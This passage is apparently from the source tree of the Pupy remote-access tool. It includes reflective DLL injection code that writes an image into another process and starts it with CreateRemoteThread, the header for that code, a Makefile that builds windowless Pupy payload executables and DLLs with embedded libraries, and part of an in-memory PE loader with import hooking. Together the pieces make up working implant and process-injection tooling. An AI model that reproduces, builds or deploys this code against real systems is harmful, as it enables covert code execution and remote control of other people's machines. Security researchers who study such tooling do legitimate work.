    if( lpBuffer == NULL || dwLength == 0 )
        return NULL;

    __try
    {
        // check if the library has a ReflectiveLoader...
        dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
        if( dwReflectiveLoaderOffset != 0 )
        {
            pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);

            // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
            // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
            if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
            {
                // call the librarys ReflectiveLoader...
                pDllMain = (DLLMAIN)pReflectiveLoader(lpParameter);
                if( pDllMain != NULL )
                {
                    // call the loaded librarys DllMain to get its HMODULE
                    if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )	
                        hResult = NULL;
                }
                // revert to the previous protection flags...
                VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
            }
        }
    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {
        hResult = NULL;
    }

    return hResult;
}

#else

//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 
//       defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
//       PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the 
//       same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
    BOOL bSuccess                             = FALSE;
    LPVOID lpRemoteLibraryBuffer              = NULL;
    LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
    HANDLE hThread                            = NULL;
    DWORD dwReflectiveLoaderOffset            = 0;
    DWORD dwThreadId                          = 0;

    __try
    {
        do
        {
            if( !hProcess  || !lpBuffer || !dwLength )
                break;

            // check if the library has a ReflectiveLoader...
            dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
            if( !dwReflectiveLoaderOffset )
                break;

            // alloc memory (RW) in the host process for the image...
            lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
            if( !lpRemoteLibraryBuffer )
                break;

            // write the image into the host process...
            if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
                break;

            // change the permissions to (RX) to bypass W^X protections
            if (!VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, NULL))
                break;

            // add the offset to ReflectiveLoader() to the remote library address...
            lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

            // create a remote thread in the host process to call the ReflectiveLoader!
            hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

        } while( 0 );

    }
    __except( EXCEPTION_EXECUTE_HANDLER )
    {
        hThread = NULL;
    }

    return hThread;
}

//===============================================================================================//
#endif

================================================
FILE: client/sources-windows-py3/LoadLibraryR.h
================================================
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
//     * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
//     * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );

HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );

HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );

//===============================================================================================//
#endif
//===============================================================================================//


================================================
FILE: client/sources-windows-py3/Makefile
================================================
BUILDENV ?= $(PWD)/buildenv

PYMAJ ?= 3
PYMIN ?= 10
SUFFIX ?= -$(PYMAJ)$(PYMIN).
BITS ?= 32


TEMPLATE_OUTPUT_PATH=../../pupy/payload_templates

ifndef ARCH
$(error You must specify an architecture - 64 or 32)
endif


CFLAGS := /D_WIN32

ifeq "$(ARCH)" "64"
CFLAGS := $(CFLAGS) /DWIN_X64 /D_WIN64 /nologo 
PPARCH := x64
BITS := 64
else
CFLAGS := $(CFLAGS) /DWIN_X86 /nologo
PPARCH := x86
BITS := 32
endif

OPENSSL_ABI ?= 1_1
LIBCRYPTO := libcrypto-$(OPENSSL_ABI).dll
LIBSSL := libssl-$(OPENSSL_ABI).dll
LIBFFI := libffi-7.dll

PYTHONPATH ?= C:\\Python$(PYMAJ)-$(BITS)

CC := $(BUILDENV)/$(BITS)/cl.sh
PYTHON := $(BUILDENV)/$(BITS)/python.sh
HOST_PYTHON := python3


CFLAGS += /Iresources\\$(ARCH) /Iresources 
CFLAGS += /DLIBCRYPTO=\"$(LIBCRYPTO)\" /DLIBSSL=\"$(LIBSSL)\" /DLIBFFI=\"$(LIBFFI)\"
CFLAGS += /EHa /GS- /GF-

ifdef DEBUG
DEBUG_ADD   := -debug
CFLAGS      := $(CFLAGS) /DDEBUG /DVERBOSE
#LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console
PPARCH      := $(PPARCH)d
CFLAGS_OPT  :=
else
DEBUG_ADD   :=
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup /LTCG
# LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console /LTCG
PPARCH      := $(PPARCH)
CFLAGS      := $(CFLAGS) /DHAVE_WINDOW
CFLAGS_OPT  := /Os /GL /GS-
endif

SECARGS     := "cl" ".xzdata"

CFLAGS      := $(CFLAGS) /I..\\common

COMMON_OBJS := \
	actctx.obj \
	MyLoadLibrary.obj \
	MemoryModule.obj

LOADER_OBJS := \
	pupy_load.obj

PUPY_MODULE := \
	base_inject.obj \
	thread.obj remote_thread.obj \
	LoadLibraryR.obj \
	ReflectiveLoader.obj \
	pupy.obj

SHARED_OBJS := \
	main_reflective.obj

APP_OBJS := \
	main_exe.obj


ifneq ($(FEATURE_DYNLOAD),)
CFLAGS += /D_PUPY_DYNLOAD /D_PUPY_PRIVATE_NT
#CFLAGS += /D_PUPY_DYNLOAD
SHARED_OBJS += ReflectiveLoader.obj
LIBPYTHON_LIBS := $(PYTHONPATH)\\libs\\python$(PYMAJ)$(PYMIN).lib advapi32.lib
LIBPYTHON_INC := /I$(PYTHONPATH)\\include

else
SHARED_OBJS += $(PUPY_MODULE)
APP_OBJS += $(PUPY_MODULE)
endif

ifneq ($(FEATURE_POSTMORTEM),)
CFLAGS += /DPOSTMORTEM
endif

ifneq ($(DEBUG),)
PUPY_PYD := _pupy_debug.pyd
COMMON_OBJS += debug.obj
PUPY_MODULE += debug.obj
else
PUPY_PYD := _pupy.pyd
endif

PUPY_PYD_C := $(PUPY_PYD:%.pyd=%_pyd.c)
PUPY_PYD_LOADER := $(PUPY_PYD_C:%.c=%.loader)

ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.obj
COMPRESSED = 1
else
CFLAGS += /DUNCOMPRESSED
SUFFIX := unc-$(SUFFIX)
COMPRESSED = 0
endif

PUPY_LOAD_DEPS := \
	pupy_load.c \
	resources/$(ARCH)/library.c \
	resources/$(ARCH)/vcruntime140.c \
	resources/$(ARCH)/python3.c \
	resources/$(ARCH)/libssl.c \
	resources/$(ARCH)/libffi.c \
	resources/$(ARCH)/libcrypto.c \
	import-tab.c revision.h

TARGETS := \
	$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe \
	$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll

REQUIRED_LIBS := user32.lib

ifneq ($(FEATURE_DYNLOAD),)
	TARGETS += $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd
	PUPY_LOAD_DEPS += resources/$(ARCH)/$(PUPY_PYD_C)
else
	REQUIRED_LIBS += advapi32.lib
endif

all: $(TARGETS)


pyd: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd

revision.h:
	if [ -z $$COMMIT ]; then rev=$$(cat ../../.git/`cat ../../.git/HEAD | cut -f 2 -d \ ` | cut -c 1-8); \
	 else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@

import-tab.c import-tab.h: ../mktab.py
	$(HOST_PYTHON) $(PFLAGS) $< UCS4

resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip
	$(HOST_PYTHON) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip

resources/$(ARCH)/library.zip: ../build_library_zip.py
	$(PYTHON) ../build_library_zip.py $@

resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
	$(HOST_PYTHON) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/$(LIBCRYPTO): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBCRYPTO)
	@mkdir -p resources/$(ARCH)
	cp $< $@

resources/$(ARCH)/$(LIBSSL): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBSSL)
	@mkdir -p resources/$(ARCH)
	cp $< $@

resources/$(ARCH)/$(LIBFFI): $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/DLLs/$(LIBFFI)
	@mkdir -p resources/$(ARCH)
	cp $< $@

resources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/python$(PYMAJ)$(PYMIN).dll
	@mkdir -p resources/$(ARCH)
	cp $< $@

resources/$(ARCH)/vcruntime140.dll: $(BUILDENV)/win/drive_c/Python$(PYMAJ)-$(ARCH)/vcruntime140.dll
	@mkdir -p resources/$(ARCH)
	cp $< $@

resources/$(ARCH)/libcrypto.c: resources/$(ARCH)/$(LIBCRYPTO) ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/libssl.c: resources/$(ARCH)/$(LIBSSL) ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/libffi.c: resources/$(ARCH)/$(LIBFFI) ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/python3.c: resources/$(ARCH)/python$(PYMAJ)$(PYMIN).dll ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/vcruntime140.c: resources/$(ARCH)/vcruntime140.dll ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)

resources/$(ARCH)/$(PUPY_PYD_C): $(PUPY_PYD) ../gen_resource_header.py
	$(HOST_PYTHON) ../gen_resource_header.py $< resources/$(ARCH)/$(PUPY_PYD_C) $(COMPRESSED) $(SECARGS)

ReflectiveLoader.obj:	ReflectiveLoader.c
	#$(CC) /Fo$@ /c $(CFLAGS) /O2 /Ob1  $<
	$(CC) /Fo$@ /c $(CFLAGS) $<

ifeq ($(UNCOMPRESSED),)
LzmaDec.obj: ../common/LzmaDec.c
	$(CC) /c $(CFLAGS) $(CFLAGS_OPT) $< /Fo$@
endif

%.obj: %.c
	$(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $<

%.obj: ../common/%.c
	$(CC) /Fo$@ /c $(LIBPYTHON_INC) $(CFLAGS) $(CFLAGS_OPT) $<


pupy_load.obj: $(PUPY_LOAD_DEPS)

$(PUPY_PYD): $(PUPY_MODULE) $(COMMON_OBJS) | revision.h
	$(CC) $(CFLAGS) $(CFLAGS_OPT) $^ /Fe$@ /LD $(LIBPYTHON_LIBS) /link /MAP:$(PUPY_PYD).map

$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)exe: $(APP_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)
	$(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \
		/Fe$(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $(LINKER_OPTS) $(REQUIRED_LIBS)
	mv $(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH)$(SUFFIX)exe $@
	unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc

$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)dll: $(SHARED_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)
	$(CC) $(CFLAGS) $(CFLAGS_OPT) $+ \
		/Fe$(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll /LD $(REQUIRED_LIBS)
	mv $(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH)$(SUFFIX)dll $@
	unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc

$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH)$(SUFFIX)pyd: resources/$(ARCH)/$(PUPY_PYD_C) $(PUPY_PYD)
	cat resources/$(ARCH)/$(PUPY_PYD_LOADER) $(PUPY_PYD) > $@
	mv $(PUPY_PYD) $@

.PHONY: clean

clean:
	rm -f \
		$(COMMON_OBJS) \
		$(LOADER_OBJS) \
		$(PUPY_MODULE) \
		$(SHARED_OBJS) \
		$(PUPY_PYD_C) \
		$(APP_OBJS) \
		$(PUPY_PYD) \
		*.exp \
		*.lib \
		*.map \
		*.obj \
		$(TEMPLATE_OUTPUT_PATH)/*.lib \
		$(TEMPLATE_OUTPUT_PATH)/*.exp \
		$(TEMPLATE_OUTPUT_PATH)/*.map

distclean: clean
	rm -f revision.h
	rm -f import-tab.c
	rm -f import-tab.h
	rm -f revision.h
	rm -rf resources

$(COMMON_OBJS) $(PYOBJS): import-tab.h


================================================
FILE: client/sources-windows-py3/MemoryModule.c
================================================
/*
 * Memory DLL loading code
 * Version 0.0.4
 *
 * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
 * http://www.joachim-bauch.de
 *
 * The contents of this file are subject to the Mozilla Public License Version
 * 2.0 (the "License"); you may not use this file except in compliance with
 * the License. You may obtain a copy of the License at
 * http://www.mozilla.org/MPL/
 *
 * Software distributed under the License is distributed on an "AS IS" basis,
 * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
 * for the specific language governing rights and limitations under the
 * License.
 *
 * The Original Code is MemoryModule.c
 *
 * The Initial Developer of the Original Code is Joachim Bauch.
 *
 * Portions created by Joachim Bauch are Copyright (C) 2004-2015
 * Joachim Bauch. All Rights Reserved.
 *
 */

#include <windows.h>
#include <stddef.h>
#include <tchar.h>
#include "debug.h"
#include "uthash.h"

#ifndef IMAGE_SIZEOF_BASE_RELOCATION
// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!?
#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
#endif

#include "MemoryModule.h"

HMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);
static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
    void *root,
    PIMAGE_RESOURCE_DIRECTORY resources,
    LPCWSTR key);
HMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);
DWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource);
LPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource);
int _MemoryLoadString(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize);
int _MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPWSTR buffer, int maxsize, WORD language);

typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef int (WINAPI *ExeEntryProc)(void);

static void*
OffsetPointer(void* data, ptrdiff_t offset) {
    return (void*) ((uintptr_t) data + offset);
}

typedef NTSTATUS (WINAPI *t_RtlGetVersion)(OSVERSIONINFOEXW *infow);

static NTSTATUS WINAPI RtlGetVersion(OSVERSIONINFOEXW *infow) {
    static t_RtlGetVersion _RtlGetVersion = NULL;
    if (!_RtlGetVersion) {
        HMODULE ntdll = GetModuleHandle("NTDLL");
        _RtlGetVersion = (t_RtlGetVersion) GetProcAddress(ntdll, "RtlGetVersion");
    }

    if (!_RtlGetVersion) {
        return E_UNEXPECTED;
    }

    return _RtlGetVersion(infow);
}

typedef struct {
    const char *name;
    FARPROC proc;
    UT_hash_handle hh;
} FUNCHASH;

typedef struct {
    DWORD dwFunctionsCount;
    DWORD dwBase;
    FARPROC *fpFunctions;
} FUNCIDX;

typedef struct {
    const char *symbol;
    FARPROC addr;
} ImportHooks;

typedef struct {
    const char *dllname;
    ImportHooks *hooks;
} DllHooks;

typedef struct {
    HCUSTOMMODULE *modules;
    FUNCIDX exports;
    FUNCHASH *phExportsIndex;

    int numModules;

    BOOL initialized;
    BOOL isDLL;
    BOOL isRelocated;
    DWORD pageSize;

    PIMAGE_NT_HEADERS headers;
    unsigned char *codeBase;
    ULONG codeSize;

    HMODULE hOriginalModule;
    HMODULE hAliasedModule;
    PDL_CALLBACKS callbacks;

    PVOID pvExportFilter;
    MEMORY_LOAD_FLAGS flags;

    ExeEntryProc exeEntry;
    DllEntryProc pcDllEntry;

    unsigned char *resources;
} MEMORYMODULE, *PMEMORYMODULE;

typedef struct {
    LPVOID address;
    LPVOID alignedAddress;
    DWORD size;
    DWORD characteristics;
    BOOL last;
} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;

#define GET_HEADER_DICTIONARY(module, idx)  &(module)->headers->OptionalHeader.DataDirectory[idx]
#define ALIGN_DOWN(address, alignment)      (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))

#ifdef DEBUG_OUTPUT
static void
OutputLastError(const char *msg)
{
    LPVOID tmp;
    char *tmpmsg;
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);
    tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
    sprintf(tmpmsg, "%s: %s", msg, tmp);
    OutputDebugString(tmpmsg);
    LocalFree(tmpmsg);
    LocalFree(tmp);
}
#endif

static BOOL
CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
    int i, size;
    unsigned char *codeBase = module->codeBase;
    unsigned char *dest;
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
    for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
        if (section->SizeOfRawData == 0) {
            // section doesn't contain data in the dll itself, but may define
            // uninitialized data
            size = old_headers->OptionalHeader.SectionAlignment;
            if (size > 0) {
                dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
                    size,
                    MEM_COMMIT,
                    PAGE_READWRITE);
                if (dest == NULL) {
                    return FALSE;
                }

                // Always use position from file to support alignments smaller
                // than page size.
                dest = codeBase + section->VirtualAddress;
                section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
                memset(dest, 0, size);
            }

            // section is empty
            continue;
        }

        // commit memory block and copy data from dll
        dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
                            section->SizeOfRawData,
                            MEM_COMMIT,
                            PAGE_READWRITE);
        if (dest == NULL) {
            return FALSE;
        }

        // Always use position from file to support alignments smaller
        // than page size.
        dest = codeBase + section->VirtualAddress;
        memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
        section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
    }

    return TRUE;
}

// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
    {
        // not executable
        {PAGE_NOACCESS, PAGE_WRITECOPY},
        {PAGE_READONLY, PAGE_READWRITE},
    }, {
        // executable
        {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
        {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
    },
};

static DWORD
GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {
    DWORD size = section->SizeOfRawData;
    if (size == 0) {
        if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
            size = module->headers->OptionalHeader.SizeOfInitializedData;
        } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
            size = module->headers->OptionalHeader.SizeOfUninitializedData;
        }
    }
    return size;
}

static BOOL
FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {
    DWORD protect, oldProtect;
    BOOL executable;
    BOOL readable;
    BOOL writeable;

    if (sectionData->size == 0) {
        return TRUE;
    }

    if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
        // section is not needed any more and can safely be freed
        if (sectionData->address == sectionData->alignedAddress &&
            (sectionData->last ||
             module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
             (sectionData->size % module->pageSize) == 0))
        {
            // Only allowed to decommit whole pages
            dprint(
                "VirtualFree: %p - %p (%lu)\n",
                sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size
            );

            VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);
        }
        return TRUE;
    }

    // determine protection flags based on characteristics
    executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
    readable =   (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
    writeable =  (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
    protect = ProtectionFlags[executable][readable][writeable];
    if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
        protect |= PAGE_NOCACHE;
    }

    // change memory access flags
    dprint(
        "VirtualProtect: %p - %p (%lu) %08x\n",
        sectionData->address, (PCHAR) sectionData->address + sectionData->size, sectionData->size, protect
    );
    if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
#ifdef DEBUG_OUTPUT
        OutputLastError("Error protecting memory page");
#endif
        return FALSE;
    }

    return TRUE;
}

static BOOL
FinalizeSections(PMEMORYMODULE module)
{
    int i;
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
    uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
#else
    #define imageOffset 0
#endif
    SECTIONFINALIZEDATA sectionData;
    sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
    sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);
    sectionData.size = GetRealSectionSize(module, section);
    sectionData.characteristics = section->Characteristics;
    sectionData.last = FALSE;
    section++;

    // loop through all sections and change access flags
    for (i=1; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
        LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
        LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);
        DWORD sectionSize = GetRealSectionSize(module, section);
        // Combine access flags of all sections that share a page
        // TODO(fancycode): We currently share flags of a trailing large section
        //   with the page of a first small section. This should be optimized.
        if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) {
            // Section shares page with previous
            if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
                sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
            } else {
                sectionData.characteristics |= section->Characteristics;
            }
            sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address;
            continue;
        }

        if (!FinalizeSection(module, &sectionData)) {
            return FALSE;
        }

        sectionData.address = sectionAddress;
        sectionData.alignedAddress = alignedAddress;
        sectionData.size = sectionSize;
        sectionData.characteristics = section->Characteristics;
    }
    sectionData.last = TRUE;
    if (!FinalizeSection(module, &sectionData)) {
        return FALSE;
    }
#ifndef _WIN64
#undef imageOffset
#endif
    return TRUE;
}

static BOOL
ExecuteTLS(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_TLS_DIRECTORY tls;
    PIMAGE_TLS_CALLBACK* callback;

    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
        module, IMAGE_DIRECTORY_ENTRY_TLS);
    if (directory->VirtualAddress == 0) {
        dprint("No TLS callbacks..\n");
        return TRUE;
    }

    dprint("Execute TLS..\n");

    tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress);
    callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks;
    if (callback) {
        while (*callback) {
            dprint("Call TLS Callback %p\n", callback);
            (*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL);
            callback++;
        }
    }
    return TRUE;
}

static BOOL
PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_BASE_RELOCATION relocation;

    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
    if (directory->Size == 0) {
        return (delta == 0);
    }

    relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress);
    for (; relocation->VirtualAddress > 0; ) {
        DWORD i;
        unsigned char *dest = codeBase + relocation->VirtualAddress;
        unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
        for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {
            DWORD *patchAddrHL;
#ifdef _WIN64
            ULONGLONG *patchAddr64;
#endif
            int type, offset;

            // the upper 4 bits define the type of relocation
            type = *relInfo >> 12;
            // the lower 12 bits define the offset
            offset = *relInfo & 0xfff;

            switch (type)
            {
            case IMAGE_REL_BASED_ABSOLUTE:
                // skip relocation
                break;

            case IMAGE_REL_BASED_HIGHLOW:
                // change complete 32 bit address
                patchAddrHL = (DWORD *) (dest + offset);
                *patchAddrHL += (DWORD) delta;
                break;

#ifdef _WIN64
            case IMAGE_REL_BASED_DIR64:
                patchAddr64 = (ULONGLONG *) (dest + offset);
                *patchAddr64 += (ULONGLONG) delta;
                break;
#endif

            default:
                //printf("Unknown relocation: %d\n", type);
                break;
            }
        }

        // advance to next relocation block
        relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock);
    }
    return TRUE;
}

static FARPROC
GetImportAddr(
    ImportHooks *hooks, CustomGetProcAddress getProcAddress,
        HCUSTOMMODULE hModule, LPCSTR pszSymName)
{
    ImportHooks *iter;

    if (!hooks)
        return getProcAddress(hModule, pszSymName);

    for (iter = hooks; iter->symbol; iter ++) {
        if (!iter->addr)
            continue;

        if (!strcmp(iter->symbol, pszSymName)) {
            dprint("HOOK %s -> %p\n", pszSymName, iter->addr);
            return iter->addr;
        }
    }

    return getProcAddress(hModule, pszSymName);
}

